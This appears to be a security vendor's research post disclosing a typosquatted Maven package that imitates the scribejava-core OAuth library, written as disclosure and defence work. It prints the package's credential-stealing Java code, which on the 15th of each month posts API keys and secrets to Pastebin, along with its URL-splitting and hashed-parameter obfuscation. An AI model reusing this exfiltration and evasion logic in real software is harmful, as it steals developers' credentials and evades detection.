
Research
npm Malware Targets Telegram Bot Developers with Persistent SSH Backdoors
Malicious npm packages posing as Telegram bot libraries install SSH backdoors and exfiltrate data from Linux developer machines.
Research
Security News
Kush Pandya
March 14, 2025
“All our production API keys were compromised, but we have no idea how.”
This nightmare scenario could easily become a reality for Java developers who unwittingly incorporate this malicious Maven package into their projects.
Since January 2024, a malicious Maven package masquerading as the popular scribejava-core OAuth library has been quietly lurking on Maven Central. In March 2025, Socket’s threat research team uncovered this ticking time bomb within the Java ecosystem. The legitimate library boasts over 5.5k stars on GitHub and widespread adoption, yet this impostor secretly harvests and exfiltrates OAuth credentials on the 15th day of each month.
The legitimate ScribeJava OAuth Library which is being typosquatted and has over 5.5k stars on GitHub.
Legitimate Package
com.github.scribejava:scribejava-core:8.3.3
- Safe, trusted OAuth handling with a robust community (over 5.5k GitHub stars).Malicious Package
io.github.leetcrunch:scribejava-core:8.3.5
- Secretly exfiltrates OAuth credentials through subtle and redundant obfuscated methods.The malicious and legitimate packages initially seem identical, but critical differences lie in the hidden malicious logic.
Attackers used typosquatting—creating a nearly identical name to trick developers into adding the malicious package. During routine scans of new Maven Central artifacts, our security team flagged the suspicious network calls in what was supposed to be an ordinary OAuth library.
Search Result for scribejava-core on Maven Central
Interestingly, this malicious package has six dependent packages (published on January 25, 2024, the same day the malicious artifact was introduced). All of them are typosquatting legitimate packages but share the same groupId (io.github.leetcrunch
) instead of the real namespace (com.github.scribejava
). These “dependents” likely serve as a front to bolster the package’s perceived legitimacy, tricking developers who check usage stats or dependency graphs into believing it’s widely adopted and trustworthy.
Direct Dependents of the malicious scribejava-core package
What makes this attack particularly insidious is its time-based trigger mechanism. The malicious code only activates on the 15th day of each month; creating a significant delay between installation and the actual credential theft. This timing strategy serves multiple purposes:
OAuthService
// This code checks if today's date is the 15th
if (Integer.parseInt(String.format("%1$td", new java.util.Date())) == 15) {
final String data = String.format("apiKey=%1$s&apiSecret=%2$s", apiKey, apiSecret);
final OAuthRequest request = new OAuthRequest(Verb.POST, "http://pastebin[.]com/api/api_post.php");
request.addBodyParameter(String.valueOf("Crush".hashCode() << 10), data);
final Response response = execute(request);
if (response.isSuccessful()) {
final String pastebinUrl = response.getBody();
//This message includes an obfuscated numeric value
throw new RuntimeException(String.valueOf("Your api keys have been sent to pastebin.com!".hashCode() << 10)+ pastebinUrl);
}
}
OAuthService
// The same logic appears in the execute() method
if (Integer.parseInt(String.format("%1$td", new java.util.Date())) == 15) {
final String data = String.format("apiKey=%1$s&apiSecret=%2$s", apiKey, apiSecret);
final OAuthRequest req = new OAuthRequest(Verb.POST, "http://pastebin[.]com/api/api_post.php");
req.addBodyParameter(String.valueOf("Crush".hashCode() << 10), data);
// ...
}
By duplicating the exfiltration code, the attackers ensure persistence. Even if one path is somehow disabled or skipped, credentials still leak.
OAuth20Service
In addition to OAuthService
, the attacker also embedded exfiltration logic into the OAuth20Service
class. Similar to the constructor checks above, OAuth20Service
includes a date-based check on the 15th day of the month and sends harvested credentials to Pastebin via an obfuscated URL:
// Within OAuth20Service#signRequest
if (Integer.parseInt(String.format("%1$td", new java.util.Date())) == 15) {
final String data = String.format("apiKey=%1$s&apiSecret=%2$s", this.getApiKey(), this.getApiSecret());
String funnyUrl = "h" +"#" + "t" + "$" + "t" + "p" + "s" + ":" + "/" + "/" + "p" + "#" + "a" + "s" + "t" + "e" + "b" + "#" + "i" + "n" + "$" + "." + "c" + "o" + "#" + "m" + "/" + "a" + "p" + "i" + "/" + "a" + "p" + "i" + "_" + "p" + "o" + "s" + "t" + "." + "p" + "h" + "p";
// "funnyUrl" is reconstructed into https://pastebin[.]com/api/api_post.php
final OAuthRequest req = new OAuthRequest(Verb.POST, funnyUrl);
req.addBodyParameter(String.valueOf("Crush".hashCode() << 10), data);
// ...
}
This repetition ensures that, even if some applications only use OAuth20Service
(and not OAuthService
directly), the malicious exfiltration still occurs.
Socket AI Scanner’s analysis, including contextual details about the malicious io.github.leetcrunch:scribejava-core@8.3.5
package.
"68800512"
. In this case, "68800512" serves as a cryptic parameter name. Although this numeric string itself doesn't explicitly print to logs or consoles, it significantly reduces detection risk by static analysis tools, which typically flag clear-text parameter names like "credentials" or "apiKey".String.valueOf("Crush".hashCode() << 10)
String funnyUrl = "h" +"#" + "t" + "$" + ...
funnyUrl = funnyUrl.replace("#", "");
funnyUrl = funnyUrl.replace("$", "");
This piece by piece string construction evades simple searches for known malicious domains.
throw new RuntimeException(String.valueOf("Your api keys have been sent to pastebin.com!".hashCode() << 10)+ pastebinUrl);
At runtime, this line triggers a console or log output resembling:
Exception in thread "main" java.lang.RuntimeException: 1079171776https://pastebin.com/abc123
Consider a FinTech app that unwittingly uses this malicious library in production. Each month on the 15th:
With 5.5k+ GitHub stars for the legitimate library, the potential blast radius here is significant.
This discovery highlights why continuous vigilance is essential in modern software supply chains. Attackers increasingly use subtle tricks like monthly triggers and obfuscated code to stay hidden. By proactively scanning your dependencies, verifying artifacts, and rotating any exposed secrets, you can minimize the damage from these stealthy threats.
Maintaining a secure Maven ecosystem requires ongoing scrutiny, improved security controls, and awareness of how adversaries abuse open source distribution channels. Socket's free GitHub app scans pull requests for malicious packages, while the Socket CLI inspects pom.xml
files during installations or builds to detect anomalies before they can compromise a project. The Socket browser extension further bolsters security by warning users of suspicious downloads in real time. Adopting these measures within development workflows can substantially reduce supply chain threats and help safeguard both individual developers and organizations.
io.github.leetcrunch:scribejava-core:8.3.5
pastebin[.]com/api/api_post.php
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
Malicious npm packages posing as Telegram bot libraries install SSH backdoors and exfiltrate data from Linux developer machines.
Security News
pip, PDM, pip-audit, and the packaging library are already adding support for Python’s new lock file format.
Product
Socket's Go support is now generally available, bringing automatic scanning and deep code analysis to all users with Go projects.